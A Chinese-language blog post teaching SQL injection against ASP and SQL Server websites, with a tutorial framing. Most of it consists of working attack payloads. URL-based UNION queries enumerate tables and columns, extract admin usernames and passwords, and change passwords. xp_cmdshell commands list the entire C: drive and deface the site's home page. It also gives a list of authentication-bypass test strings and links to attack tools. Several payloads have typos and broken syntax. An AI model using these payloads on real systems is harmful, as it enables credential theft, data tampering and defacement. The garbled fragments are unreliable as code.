• SQL Injection 的原理、方法、工具

    駭客尋找的訊息

    如何知道該伺服器具有SQL injection 的弱點呢?

    有兩個簡單的方式,

    • 透過Google Hacking 的方式來尋找
    • 到該網站尋找回傳 SQL Error 的訊息

    這邊主要介紹如何透過 SQL Error回傳的錯誤訊息達到SQL injection

    如何讓SQL 強制回傳錯誤訊息呢? 最常見的方式就是輸入   

    因為單引號在 SQL Server 中是有特別意義。

    如果該網站沒有特別對 SQL Error 做處理,就會出現類似下列的錯誤訊息。

    Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
    [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character
    string ‘’’.
    /corner/asp/checklogin1.asp, line 7

    只要可以出現SQL Error 的錯誤訊息就一定會有 SQL injection的風險!

    只要可以出現SQL Error 的錯誤訊息就一定會有 SQL injection的風險!

    只要可以出現SQL Error 的錯誤訊息就一定會有 SQL injection的風險!

    強調三次,因為對於正常 SQL Server Developer來說,

    或許目前還無法連結SQL Error 與SQL Injection 的關係,請看接下來的幾個範例。

     

    SQL Injection範例1

    假設這個網站透過 Http GET 也就是網址的方式傳遞參數,ID = 5

    http://www.Victim.com/index.asp?id=5

    那麼我們可以另外輸入 SQL injection 字串,

    http://www.Victim.com/index.asp?id=8
    UNION SELECT TOP 1 TABLE _ NAME FROM
    INFORMATION _ SCHEMA.TABLES —

    在 id=8 之後加入 UNION SELECT的SQL 語法

    UNION SELECT TOP 1 TABLE _ NAME FROM INFORMATION _ SCHEMA.TABLES —

    這段語法會回傳資料庫第一個Table名稱

    因此我們會得到下列的回傳錯誤訊息,間接知道 table name 為 “UserName”

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘UserName’ to
    a column of data type int.
    /index.asp, line 5

    SQL Injection範例2

    透過範例1我們知道第一個 table 名稱,那麼要如何知道其他 Table 名稱呢?

    http://www.Victim.com/index.asp?id=8
    UNION SELECT TOP 1 TABLE _ NAME FROM
    INFORMATION _ SCHEMA.TABLES WHERE TABLE _ NAME NOT IN
    (’UserName’)–

    SQL Injection範例3

    或是利用 like的方式,將搜尋其他 table ,

    這個範例我們搜尋Table名稱含有 login

    http://www.Victim.com/index.asp?id=9
    UNION SELECT TOP 1 TABLE _ NAME FROM
    INFORMATION _ SCHEMA.TABLES WHERE TABLE _ NAME LIKE
    ’%25login%25’–

    回傳錯誤訊息如下,因此我們知道另外有一個 admin_login的 table

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login
    to a column of data type int.
    /index.asp, line 5

    SQL Injection 範例4: 如何得知欄位名稱?

    知道有一個 Table 名稱為 admin_login之後,如何得知該 table 的欄位名稱呢?

    http://www.victim.com/index.asp?id=10
    UNION SELECT TOP 1 COLUMN _ NAME FROM
    INFORMATION _ SCHEMA.COLUMNS WHERE TABLE _ NAME=’admin _ login’–

    透過這個語句執行,會回傳下列訊息結果,我們得知其中一個欄位名稱為 login_id

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id
    to a column of data type int.
    /index.asp, line 5

    接著再利用 Not in 的方式將其他欄位都取出

    http://www.victim.com/index.asp?id=10
    UNION SELECT TOP 1 COLUMN _ NAME FROM
    INFORMATION _ SCHEMA.COLUMNSWHERE TABLE _ NAME=’admin _ login’
    WHERE COLUMN _ NAME NOT IN (’login _ id’)

    SQL Injection 範例5: 如何得取得資料內容?

    在得知table名稱與欄位名稱後,就可以取得資料內容,得知使用者帳號密碼

    http://www.victim.com/index.asp?id=10
    UNION SELECT TOP 1 login _ name FROM admin _ login–

     

    http://www.victim.com/index.asp?id=10
    UNION SELECT TOP 1 password FROM admin _ login WHERE
    login _ name=’john’–

    SQL Injection 範例5: 如何得更改資料內容?

    也可以利用這個方式更改資料庫密碼

    http://www.somesite.com/index.asp?id=10
    UPDATE ‘admin _ login’SET ‘password’ = ‘newPassword’

    WHERE login _ name=’userName’–

    SQL Injection 範例6: 執行系統指令?

    SQL injection也可以用來執行作業系統指令,例如下列範例

    執行指令

    username’; exec master..xp _ cmdshell “insert OS command here” —

    搜尋檔案

    userName’ ; exec master..xo _ cmdshell “dir c:\*.*/s > c:\directory.txt” —

    更改某網頁內容

    userName’ ; exec master..xp _ cmdshell “echo you-are-defaced > c:\inetpub\wwwroot\index.htm” —

    如何簡單測試?

    可以輸入下列值,看看回傳訊息。

    ‘ OR 11–
    “ OR 11–
    ‘ OR ‘a’’a
    “ OR ‘a’’a
    ‘) OR (‘a’’a

    SQL injection 自動測試工具

    http://sqlmap.org/

    http://www.hackerspedia.com/2014/12/download-havij-pro-117-pro-free.html

    https://addons.mozilla.org/en-US/firefox/addon/sql-inject-me/

    http://sqlninja.sourceforge.net/index.html

    http://sourceforge.net/projects/absinthe/

    Posted by Tony @ 7:41 am

  • Leave a Reply

    Your email address will not be published.